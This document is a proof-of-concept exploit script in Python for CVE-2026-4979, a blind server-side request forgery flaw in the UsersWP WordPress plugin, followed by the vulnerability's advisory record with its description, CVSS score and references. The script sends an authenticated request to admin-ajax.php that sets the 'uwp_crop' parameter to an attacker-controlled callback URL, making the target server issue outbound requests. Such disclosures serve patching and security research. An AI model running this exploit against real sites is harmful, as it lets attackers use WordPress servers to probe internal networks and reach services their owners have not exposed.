CVE-2026-4979

# PoC for CVE-2026-4979 (Blind SSRF in UsersWP Plugin) # This script requires a valid authenticated session (Subscriber level or higher). import requests target_url = "http://example.com/wp-admin/admin-ajax.php" attacker_controlled_url = "http://burpcollaborator.net/poc" # Authenticate using WordPress session cookies cookies = { "wordpress_logged_in_xxx": "your_cookie_value_here" } # The vulnerable payload targeting the crop functionality payload_data = { "action": "uwp_avatar_crop", # The specific action triggering the vulnerability "uwp_crop": attacker_controlled_url # Malicious URL causing the SSRF } try: response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check your attacker-controlled server (" + attacker_controlled_url + ") for incoming HTTP requests from the target.") else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-4979", "sourceIdentifier": "[email protected]", "published": "2026-04-11T02:16:02.463", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP plugin for WordPress is vulnerable to blind Server-Side Request Forgery in all versions up to, and including, 1.2.58. This is due to insufficient URL origin validation in the process_image_crop() method when processing avatar/banner image crop operations. The function accepts a user-controlled URL via the uwp_crop POST parameter and only validates it using esc_url() for sanitization and wp_check_filetype() for extension verification, without enforcing that the URL references a local uploads file. The URL is then passed to uwp_resizeThumbnailImage() which uses it in PHP image processing functions (getimagesize(), imagecreatefrom*()) that support URL wrappers and perform outbound HTTP requests. This makes it possible for authenticated attackers with subscriber-level access and above to coerce the WordPress server into making arbitrary HTTP requests to attacker-controlled or internal network destinations, enabling internal network scanning and potential access to sensitive services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/AyeCode/userswp/commit/ca0c81b9c76a26c5ac78a8f3604cf9122a7a4aa1", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.55/includes/class-forms.php#L198", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.55/includes/helpers/misc.php#L136", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/trunk/includes/class-forms.php#L198", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/trunk/includes/helpers/misc.php#L136", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9cd2b3fd-1bca-4611-9753-ccb57b0e36a4?source=cve", "source": "[email protected]"}]}}